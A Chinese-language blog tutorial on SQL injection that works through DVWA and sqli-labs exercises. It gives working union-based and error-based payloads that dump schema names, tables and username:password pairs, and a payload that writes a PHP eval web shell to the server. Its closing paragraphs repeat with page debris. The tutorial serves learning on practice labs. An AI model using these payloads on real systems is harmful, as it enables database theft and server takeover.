sql注入基础

#0x01sql语句基础:

1.select语句

格式:

select * from table(从table表中获取字段信息)

select * from table where (在满足where后的条件下查询字段信息)

2.insert语句

格式:

insert into table(field1,field2) values(value1,value2)

3.update语句

格式:

update table1 set field1=value1 where

4.delete语句

格式:

delete from table1 where

5.order子句

ORDER BY 语句用于根据指定的列对结果集进行排序。

ORDER BY 语句默认按照升序对记录进行排序

如果想要把结果集按照倒序,则需要加上desc关键字

在sql注入中经常利用order by子句显示目标有多少字段

6.and和or运算符

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。

如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。

如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

and 和 or的用处在万能密码中就可以体现出来:

Select * from admin where username=’admin’ and password=’’ or 1=1

在sql语句中,and的优先级是大于or的。username=‘admin’的条件(1)为真,password=’'的条件(2)是假的
那么1 and 2=false,在与第三个条件 1=1(3)为真 进行 false or 3=true,结果就是真。 所以,有时候在执行sql注入,执行的语句后就会加上 or 1=1,目的就是利用sql and 和 or 运算符的优先级的差别,来达到用户想要的目的(语句为真,执行输入的语句)

#0x02什么是sql注入?:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

简单的说就是网页的后台没有对用户发送的语句(以参数的方式传递)进行过滤,使得用户发送的语句直接被sql解释器执行。

#0x03原理分析:

我们可以利用DVWA平台去分析sql注入的原理,DVWA的平台搭建和sqli-labs和upload-labs类似,首先需要php运行环境。把下载的文件夹放到网站根目录(WWW)。

   
   
   if( isset( $_REQUEST[ 'Submit' ] ) ) {
   	// Get input
   	$id = $_REQUEST[ 'id' ];
   
   	// Check database
   	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>

如果用户在userid文本框输入ID,输入的语句就会作为id参数的值通过GET(POST)方法提交到后台。通过sql解释器执行,并返回数据库查询的结果。也就是说,如果id传入的不只是一个数字,而是一条语句那么id的值就会被sql解释器执行。例如,用户令id=1’ and 1=1 order by 4 #,那么$query就会变成

$query="SELECT first_name,last_name FROM users WHERE user_id='1' and 1=1 order by 4#"

这样就能查询数据库信息了

0x05sqli-labs


sqli-labs是基于php环境的平台,使用前需要安装php集成环境(php+apache+mysql,部分关卡需要tomcat+java+mysql)。

sqli-labs下载地址:https://github.com/Audi-1/sqli-labs

这里还有一个sqli-labs原作者的教程:https://www.bilibili.com/video/av24783387?t=69

下面结合sqli-labs上的一些基础题目来介绍一些简单的sql注入方式。

0x06less01(联合查询)


在了解题目要求之前,我们先来认识一下sql语句中union操作符。

union操作符的作用是合并多个select语句的结果集,但是使用union时,要保证union操作符内部的select语句要有相同的列

具体语法:

select column1 from table1 union select column2 from table2

注意:union操作符是不会返回相同的值。

union all

作用与union类似,都是合并多个select语句的结果集,但是可以返回重复的值。

题目要求:让用户上传一个参数’id’。

1.判断注入点

首先我们要找到注入点,判断注入点的常用方法之一就是在参数后加上一个单引号或双引号(因为sql语句添加引号会影响到sql语句的闭合,从而报错),如果报错,就可能存在注入点。当然,手工判断注入点的方法还有利用and运算符(and 1=1,and 1=2 ,and ‘1’=1),利用特殊字符报错等等,在这里,就不详细介绍了。

通过尝试可以发现添加单引号后页面会有报错信息,说明页面存在注入点。

sql注入基础_第1张图片

接下来就可以构造?id= 1’ ****语句实现注入了。

2.使用 order by子句判断数据库的列数

前面已经介绍了order by子句的作用,当order by子句后面的数字大于当前数据库的列数,语句就会出错。

输入id=1’ order by 4–+发现页面返回信息 “unknown columns ‘4’” 说明当前数据库的列数是小于4的。

sql注入基础_第2张图片

输入id=1’ order by 3–+发现页面返回了用户的name password 说明当前数据库的列数刚好等于3,下面就可以构造 select 1,2,3 ***** 来获取数据库的相应信息了。

3.利用 information_schema库

如果继续学习sql注入就会发现select语句经常会用到information_schema这个库来获取数据库的(表,列,字段)的信息。information_schema是mysql自带的数据库,只要用户安装了mysql,在安装的同时,information
_schema这个数据库就会安装到用户的系统中.

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。因此,在sql注入中就可以利用information_schema这个库获取其他数据库的信息.

SCHEMATA表:

SCHEMATA 表存储了 Mysql 数据库中所有库相关的信息,比如订单库、用户库这种不同的库。可以在mysql命令行中使用下述语句进行查看:

select * from information_schema.schemata;

TABLES表:
TABLES 表存储了 Mysql 数据库中表的信息。会记录这张表是属于哪个数据库(TABLE_SCHEMA),是做什么的表(表注释),多会创建的(CREATE_TIME),有多少行数据(INDEX_LENGTH)等信息。

select* frominformation_schema.TABLES;

COLUMNS表:

COLUMNS 表存储了 Mysql 数据库中每张表中的列信息。会记录这列是属于哪张表(TABLE_NAME)、以及哪个库(TABLE_SCHEMA)、这列的数据类型是什么、列的注释(COLUMN_COMMENT)等信息。

select* frominformation_schema.COLUMNS
COLUMNS 表中字段 COLUMN_COMMENT 是关于列的注释信息,一般会标明这个列是什么字段,不同的数字代表什么含义(0代表什么、1代表什么)。

4.开始注入

获取数据库的名字:

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+//group_concat()函数是把一组中的非NULL字符串合并为一个字符串的函数

sql注入基础_第3张图片

获取security数据库的表名:

?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security'--+

sql注入基础_第4张图片

获取users表的列:

?id=-1' union select 1,group_concat(column_name),3 from infromation_schema.columns where  table_name='users'--+

sql注入基础_第5张图片

获取username ,password:

?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users--+//concat_ws函数是把一组非NULL字符串拼接为一个字符串,与concat函数相比主要不同是可以一次指定分隔符

#0x07less05报错注入

这关如果直接用联合查询的话,页面只会返回"You are in",而不能返回数据库的信息。这时我们就可以尝试别的方法,比如时间注入,报错注入,布尔注入等等。在这一关可以使用报错注入来返回数据库的信息。

1报错注入的原理:

正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。

2.利用group by和rand()的冲突直接报错注入

group by的作用和order by的作用类似,都是对结果集排序(默认升序).而rand()是产生随机数的函数,类似于java的Math.random()。产生一个[0,1)区间的数.如rand()*2,则产生一个[0,2)区间的数。当rand() 和order by 在一起使用时,就会发生冲突。

由于rand和order+by的冲突,即rand()是不可以作为order by的条件字段,同理 也不可以为group by的条件字段。floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误

rand和group by冲突的具体原因

3.开始注入

获取数据库的名字:

?id=1' union select 1,count(*),concat(':',(select database()),':',floor(rand()*2))a from information_schema.schemata group by a--+

其中concat函数的作用和之前group_concat()函数类似也是把一组非NULL字符串拼接为一个字符串。a是 as a的别名。然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit(查询多组用limit选择)

获取表:

?id=1' union select 1,count(*),concat(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1),':',floor(rand(0)*2))a from information_schema.tables  group by a--+

获取列:

?id=1' union select 1,count(*),concat(':',(select column_name  from   information_schema.columns where table_name='users'limit 0,1),':',floor(rand(0)*2))a from   information_schema.columns  group by a--+

获取username, password:

?id=1' union select 1,count(*),concat(':',(select concat_ws('`',username,password) from users limit 0,1),':',floor(rand(0*2))) a from users group by a--+

有关报错注入的方法还有很多,这里就不详细介绍了。
#0x08less07上传一句话木马

先在id=1后加上单引号和双引号,页面都显示正常,但是在参数后加上注释,会报错,说明系统过滤注释符。并且sql语句id参数前后很有可能加了(),尝试了很多次发现构造:“id’ =1 ))”,可以使注释不被过滤。

sql注入基础_第6张图片
但是之后尝试 union,报错注入发现不能返回需要的信息(可以用布尔和时间盲注)。不过,本题提示利用file权限向服务器传入文件。那么,先看看是否能传入
构造语句:
http://localhost/sqli-labs-master/Less-7/?id=1’)) and (select count(*) from mysql.user)>0–
返回正常说明我们有这个权限.
sql注入基础_第7张图片
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"

@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。

#0x09
0L3p5ZGJrMTIzNDU2,size_16,color_FFFFFF,t_70)
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"

@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。

#0x09

你可能感兴趣的:(sql注入基础)